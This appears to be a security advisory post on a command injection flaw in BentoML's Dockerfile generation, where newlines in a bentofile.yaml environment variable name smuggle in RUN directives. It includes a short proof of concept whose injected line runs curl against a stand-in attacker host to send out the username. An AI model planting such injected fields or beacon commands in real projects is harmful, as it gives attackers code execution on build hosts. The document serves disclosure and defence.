Listen to this Post
The vulnerability stems from improper input sanitization when handling environment variable names within the `bentofile.yaml` configuration file. Specifically, the flaw exists in how the BentoML framework constructs Dockerfiles for containerization. The vulnerable code is located in the Jinja2 template `base_v2.j2` (lines 71-73), which renders the `envs[].name` field. While the corresponding `env.value` is safely escaped using a `bash_quote` filter, the `env.name` is inserted into the Dockerfile raw and unquoted. An attacker can inject newline characters (\n) into this `name` field. Because the name is interpolated directly, a newline character breaks out of the current `ARG` or `ENV` directive and allows the attacker to inject arbitrary, new Dockerfile commands. When the victim runs bentoml containerize, BentoML generates a Dockerfile containing these injected commands. The subsequent `docker build` process then executes the injected `RUN` directives on the host machine, with the privileges of the user running the build, leading to arbitrary code execution. This vulnerability is a sibling bypass of previous patches (CVE-2026-33744 and CVE-2026-35043), which only fixed the `system_packages` field, leaving the `envs[].name` vector completely unaddressed until version 1.4.39.
DailyCVE Form:
Platform: BentoML
Version: <1.4.39
Vulnerability : Command Injection
Severity: High (8.8)
date: May 11, 2026
Prediction: May 11, 2026
What Undercode Say:
Analytics: Proof of Concept reproduction Install vulnerable version pip install bentoml==1.4.38 Create malicious bentofile.yaml cat > bentofile.yaml << EOF service: name: "vuln_service" envs: - name: "TEST\nRUN curl -fsSL http://attacker.com/$(whoami)\nRUN " value: "anything" EOF Run the containerize command to trigger the injection bentoml containerize vuln_service:latest The generated Dockerfile will contain: ARG TEST RUN curl -fsSL http://attacker.com/$(whoami) RUN ENV TEST=$TEST
Exploit:
An attacker crafts a malicious `bentofile.yaml` containing a newline-injected `env.name` (e.g., \nRUN malicious_command\n). The victim imports this bento and runs bentoml containerize. BentoML generates a Dockerfile with unquoted `RUN` directives that execute on the host during docker build, allowing the attacker to run arbitrary OS commands and compromise the host system.
Protection:
1. Upgrade to BentoML version 1.4.39 or higher.
- Scan all `bentofile.yaml` files for newline characters and shell metacharacters in
envs[].name. - Run `bentoml containerize` in isolated, ephemeral build environments (e.g., CI runners with minimal privileges).
- Use static analysis tools to detect raw interpolation of user input into Dockerfile templates.
Impact:
Arbitrary code execution on the host machine, leading to full system compromise; exfiltration of sensitive data; lateral movement in CI/CD pipelines; and persistent backdoor installation by the attacker.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
